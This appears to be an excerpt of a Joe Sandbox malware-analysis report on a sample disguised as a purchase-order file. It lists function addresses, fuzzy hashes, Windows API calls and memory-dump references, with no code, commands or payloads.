Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
Instruction ID: c55d8aa437131a95a01de78b0052dcd3d9cc3f447ee629d771dafcce0f52932c
Opcode Fuzzy Hash: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
Instruction Fuzzy Hash: F5C04C30719601EAD6205B609E08B5B7D54AB54742F1045756546E10F0D6749451D92E

Function 100027E8 Relevance: 2.7, APIs: 2, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 100028A7
GetLastError.KERNEL32 ref: 100029AE

Memory Dump Source

Source File: 00000000.00000002.2632503904.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2632485014.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632520015.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632534659.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: AllocErrorLastVirtual
String ID:
API String ID: 497505419-0
Opcode ID: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
Instruction ID: 700bf99a33fcd989ee77f819fa46e2371db99389a88ce2eb288524e3b596c0af
Opcode Fuzzy Hash: 7af5c486cb8ea8547353861cfd678fbd8d20862330e18d67419e74999799b2ae
Instruction Fuzzy Hash: 9751A2BA908214DFFB10DF64DCC674937A4EB443D4F21842AEA08E726DCF34A9808B95

Function 0040255C Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: wsprintf
String ID:
API String ID: 2111968516-0
Opcode ID: 2b3f0152387d06df6eaf096f135fad1e6c25d68e51a67a505a4e16ce5121cf03
Instruction ID: 2ad6ade0dd87bb00519d913a8aa863536615c58d60cd2f1651ee4e1b5922b607
Opcode Fuzzy Hash: 2b3f0152387d06df6eaf096f135fad1e6c25d68e51a67a505a4e16ce5121cf03
Instruction Fuzzy Hash: D321DB70C04295BEDF318B584A985AF7B749B11314F1484BBE891B62D1C1BD8A85EB1D

Function 00402616 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 00402630

Part of subcall function 00405C6A: wsprintfA.USER32 ref: 00405C77

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 605c8d6a649ef785eb1d6a94470a00a99215b591ffdd9e56fcea621c1e02c6b1
Instruction ID: 8aac78d75a064c4630454a8a93e19dff4664e4603579630d9101515f905a40da
Opcode Fuzzy Hash: 605c8d6a649ef785eb1d6a94470a00a99215b591ffdd9e56fcea621c1e02c6b1
Instruction Fuzzy Hash: 56E01A76A05640AAE701B7A5AE89CBE636ADB50318B20853BF601B00C1C6BD89059A3E

Function 00402B44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(00000000,000002DB,00000000,00000022,00000000,?,?,?,00402314,00000002), ref: 00402B6C

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: eded891075ee9d68bdfa7caca34f4ecd2b61e9434e1da65918f8acfe225afcc1
Instruction ID: f02d1f32d416435064830634415e16150983832f9e15cf27d1a8645227483e3a
Opcode Fuzzy Hash: eded891075ee9d68bdfa7caca34f4ecd2b61e9434e1da65918f8acfe225afcc1
Instruction Fuzzy Hash: 6EE0E676250108BFD700DFA9DD47FD577ECE758745F008421B609D7095C774E5508B69

Function 00405A26 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403057,00000000,007890F8,000000FF,007890F8,000000FF,000000FF,00000004,00000000), ref: 00405A3A

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction ID: 202e9d0092b88ed1e300126467a6d0629c49e9ab1c26cc5f9aac99f6baf52130
Opcode Fuzzy Hash: d04482319dc3028e4ce08f739f1cf32aeeec85f3b87b0f01a1fec36d148a5575
Instruction Fuzzy Hash: FFE0EC3261425AAFDF10AEA59C44EEB7B6CFB05360F008533F915E2550D231E921DFA9

Function 004059F7 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004030A1,00000000,00000000,00402EEE,000000FF,00000004,00000000,00000000,00000000), ref: 00405A0B

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
Instruction ID: ec62d6923e01247a1983afaeae7cc56c043784b3a51a97a909eefe23b1c45cc9
Opcode Fuzzy Hash: 9e9b74a17ccb5deaff559da35202fcfca8c983c6050daaa8761ff941af9ce947
Instruction Fuzzy Hash: CFE04F32210259AFCF10AE549C40EAB375CEB04250F004432F915E2040D230E8119FA8

Function 1000270B Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000404C,00000004,00000040,1000403C), ref: 10002729

Memory Dump Source

Source File: 00000000.00000002.2632503904.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2632485014.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632520015.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632534659.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction ID: 4f82052a8ee677216feeb46ba648c84afb962adc58c95b92ee0d34447feb5494
Opcode Fuzzy Hash: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction Fuzzy Hash: B5F09BF19092A0DEF360DF688CC4B063FE4E3983D5B03892AE358F6269EB7441448B19

Function 004022C7 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 004022FA

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: 89032baceb3f6f114b0488ce247a90a0ba58f85f764d13967e355b5ac32f42df
Instruction ID: 39f1f9859769fa242ff58571ca275c021542d1dfaf63d46caa25723865460d27
Opcode Fuzzy Hash: 89032baceb3f6f114b0488ce247a90a0ba58f85f764d13967e355b5ac32f42df
Instruction Fuzzy Hash: 66E08630A04214BFDB20EFA08D09BAE3669BF11714F10403AF9917B0D2EAB849419B1D

Function 00401595 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A0

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 0ea397a8211670639f436dd097bf0c7cb6117b14819b8f8d67c2300def58ed07
Instruction ID: 839d6edb89fd0a39869f3bdff0d3b393134e6f043e5016f1e00bd5f534211bce
Opcode Fuzzy Hash: 0ea397a8211670639f436dd097bf0c7cb6117b14819b8f8d67c2300def58ed07
Instruction Fuzzy Hash: 34D05B33B14110DBDB40EBE4DB08A9D73A5BB60329B308637D201F21D1D7BDC9549B29

Function 00403F3D Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00010426,00000000,00000000,00000000), ref: 00403F4F

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: fe9c5fbe97cae241cde84ce22785a5e9dbc0b02d0b9d793388d9d8a90b417260
Instruction ID: 9b9c13dac3056517ae90cab9ba0900707a7cdbddb9b58ac83e38e750941f619c
Opcode Fuzzy Hash: fe9c5fbe97cae241cde84ce22785a5e9dbc0b02d0b9d793388d9d8a90b417260
Instruction Fuzzy Hash: 39C04C71A442016AEB219B649D49F067BA8A751701F1594257315A50E0D674E410D66D

Function 00403F26 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000028,?,00000001,00403D57), ref: 00403F34

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c60a5741adf6fd17905679b15365177ec5dfd851c523a537735145c0d793b3ca
Instruction ID: bce073d95cda9f80ae5a70f3258e8641f0ad27ed80faf677ac8523eeabb20274
Opcode Fuzzy Hash: c60a5741adf6fd17905679b15365177ec5dfd851c523a537735145c0d793b3ca
Instruction Fuzzy Hash: F7B09235585200AAEA224B40DD09F457A62A7A4701F008064B210240F0CAB200A0DB19

Function 004030A4 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402E2D,000089E4), ref: 004030B2

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D

Function 00403F13 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403CF0), ref: 00403F1D

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 0fd0461592f2d81c1c03ce05c628ae056ab63dad8406c1f23e4af249cfc5fe4d
Instruction ID: 7c635d8461ea366e4ce50998120561f43c0f0a4d26a99d582f7a8baadb7aa675
Opcode Fuzzy Hash: 0fd0461592f2d81c1c03ce05c628ae056ab63dad8406c1f23e4af249cfc5fe4d
Instruction Fuzzy Hash: 98A00176808101EBCB029B50FE08D4ABF62ABA4709B12D426E25594174D6365871FF2A

Function 004014D6 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E5

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6ef222803d68d34d2b98f7333693f5778702576746e8508d9016a81179eb72e8
Instruction ID: 792a8355e77204e71b52dac9cb8dd8af6eaf68ea71b947aa0f734c6da66c5308
Opcode Fuzzy Hash: 6ef222803d68d34d2b98f7333693f5778702576746e8508d9016a81179eb72e8
Instruction Fuzzy Hash: 9AD0C777B145404BD750E7B87E8545A6399F7513253204D33D502F1091D678C9059A29

Function 10001215 Relevance: 1.3, APIs: 1, Instructions: 4memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

Memory Dump Source

Source File: 00000000.00000002.2632503904.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2632485014.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632520015.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632534659.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

